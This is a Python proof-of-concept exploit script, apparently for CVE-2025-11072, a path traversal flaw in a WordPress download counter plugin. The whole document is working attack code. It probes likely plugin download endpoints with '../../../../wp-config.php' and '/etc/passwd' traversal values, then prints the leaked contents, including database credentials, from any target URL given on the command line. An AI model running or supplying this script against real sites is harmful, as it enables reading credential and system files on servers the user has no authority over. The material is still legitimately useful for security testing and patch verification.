CVE-2025-11072

import requests import sys # CVE-2025-11072 PoC - Path Traversal in MelAbu WP Download Counter Button # Target: WordPress site with vulnerable MelAbu Download Counter Button plugin def check_vulnerability(base_url): """Check if target is vulnerable to CVE-2025-11072""" # Common WordPress plugin download endpoint patterns paths_to_try = [ '/wp-content/plugins/wp-download-counter-button/download.php', '/wp-content/plugins/wp-download-counter-button/inc/download.php', '/wp-content/plugins/wp-download-counter/download.php', '/wp-content/plugins/download-counter-button/download.php' ] # Target files to read (using path traversal) target_files = [ '../../../../wp-config.php', # WordPress config file '../../../../etc/passwd', # Linux system file ] for path in paths_to_try: for target in target_files: url = base_url.rstrip('/') + path params = {'file': target} # Common parameter name try: response = requests.get(url, params=params, timeout=10, verify=False) # Check if file content was returned if response.status_code == 200: content = response.text # Validate if we got actual file content if 'wp-config.php' in target and 'DB_NAME' in content: print(f'[+] VULNERABLE! Found wp-config.php at: {url}') print(f'[+] File content preview:\n{content[:500]}...') return True elif 'passwd' in target and 'root:' in content: print(f'[+] VULNERABLE! Found /etc/passwd at: {url}') print(f'[+] File content preview:\n{content[:500]}...') return True except requests.exceptions.RequestException as e: print(f'[-] Error testing {url}: {e}') print('[-] Target does not appear to be vulnerable') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com') sys.exit(1) target = sys.argv[1] print(f'[*] Testing target: {target}') print(f'[*] CVE-2025-11072 - Path Traversal in MelAbu WP Download Counter Button\n') check_vulnerability(target)

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